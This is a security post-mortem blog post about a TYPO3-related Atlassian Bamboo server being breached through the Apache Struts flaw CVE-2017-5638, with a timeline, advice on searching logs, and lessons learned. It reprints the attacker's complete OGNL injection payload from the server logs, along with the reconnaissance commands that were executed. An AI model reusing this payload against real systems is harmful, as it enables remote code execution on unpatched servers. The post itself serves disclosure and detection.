Atlassian Bamboo Apache Struts Security Post Mortem
Each and every change request to the TYPO3 core runs through more than 56.000 single tests, executing all unit, functional and acceptance tests with various system setups in just a couple of minutes. That infrastructure is still growing and more than 9.000 full runs have been executed already.
While all that is amazing and worth many dedicated blog posts, there is a more serious issue this post is about:
Our infrastructure was successfully compromised by a security vulnerability on March 11th, 2017.
What happened?
On Monday (March 6th, 2017), information about a Zero-Day Vulnerability Remote Code Execution (CVE-2017-5638) in Apache Struts actively exploited in the wild was made public and pretty quickly spread through the well known web channels. As an office mostly hosting PHP projects in a relatively well-secured environment, we didn't give it too much attention since it's a Java related issue. A couple of days later however, on Friday (March 10th, 2017), Atlassian released a Bamboo Security Advisory rated as critical. Unfortunately, most of the crew was occupied with the TYPO3 Camp in Venlo and we didn't take immediate action. On Saturday morning we experienced some server hiccups and found these logs:
2017-03-11 07:28:04,815 WARN [JakartaMultiPartRequest] Request exceeded size limit!
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream,
content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#cmd='ls -la ../../../../../').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Containing the following commands in bamboo.log:
Containing the following commands:
cmd='ls -la ../../../../../'
cmd='ls -la ../../../../../var/www'
cmd='ls -la ../../../../../var/www/html'
cmd='echo "hack the planet" ../../../../../var/www/html/vuln.txt'
cmd='echo "hack the planet" &> ../../../../../var/www/html/vuln.txt'
cmd='ifconfig'
cmd='ls -la /'This seemed to be an automatic attack script. After realizing that, we took the according systems down and started investigation. It took us a couple of hours to get a good overview of what happened, to verify what has been done by the attacker and to rebuild system integrity.
We were unaware one of our systems could be susceptible to the Apache Struts vulnerability. If you are hosting Atlassian Bamboo, Crowd or HipChat, we strongly recommend to search for according attack logs. This issue is actively exploited in the wild at the moment, integrity of potentially compromised systems cannot be trusted anymore. Search server logs and backup logs for signatures of this attack: Luckily, the Atlassian products are pretty noisy, we found the attack log footprint in /srv/bamboo-installation/logs/atlassian-bamboo.log grepping for “cmd=”.
grep "cmd=" logs/atlassian-bamboo.log
What we learned
As a learning and aftermath, we improved both our logging and monitoring since getting aware of that security breach was mostly luck this time.
We advise to double-check whether you run software that comes bundled with Apache Struts, since that software might be compromised.
Just to make that clear: The TYPO3 sources were neither targeted nor affected by this attack.
More information about CVE-2017-5638:
CVE: CVE-2017-5638
Blog: Apache Jakarta Vulnerability attacks in the wild
Blog: Apache Struts 0 day exploited
Atlassian Security Bulletin Overview
